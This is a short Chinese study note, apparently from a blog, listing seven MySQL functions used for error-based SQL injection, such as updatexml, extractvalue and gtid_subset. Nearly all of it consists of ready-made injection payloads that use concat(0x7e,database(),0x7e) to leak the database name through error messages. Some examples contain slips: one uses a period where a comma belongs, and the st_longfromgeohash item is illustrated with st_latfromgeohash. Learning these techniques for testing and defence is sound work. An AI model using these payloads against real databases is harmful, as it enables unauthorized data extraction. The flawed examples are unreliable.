报错注入常用函数

注意：仅用于本人学习的笔记记录，禁止进行传播分享，一旦造成严重后果与本人无关！！！

Mysql中的报错函数

1、 st_latfromgeohash()        mysql>=5.7.x

 select * from nihao where price=12 and st_latfromgeohash(concat(0x7e,database().0x7e));

2、st_longfromgeohash()         mysql>=5.7.x

select * from nihao where price=12 and st_latfromgeohash(concat(0x7e,database(),0x7e));

3、st_pointfromgeohash()         mysql>=5.7.x 

select * from nihao where price=12 and st_pointfromgeohash(concat(0x7e,database(),0x7e));

4、gtid_subset()        mysql>=5.6.x

select * from nihao where price=12 and gtid_subset(concat(0x7e,database(),0x7e),1);

5、gtid_subtract()        mysql>=5.6.x

select * from nihao where price=12 and gtid_subtract(concat(0x7e,database(),0x7e),1);

6、updatexml()      

select * from nihao where price=12 and updatexml(1,concat(0x7e,database(),0x7e),1)

7、extractvalue()

 select * from nihao where price=12 and extractvalue(1,concat(0x7e,database()));

慢慢补充其他数据库的报错函数。。。

参考文章：

报错注入七大常用函数_不会就跑路的小白的博客-CSDN博客_报错注入函数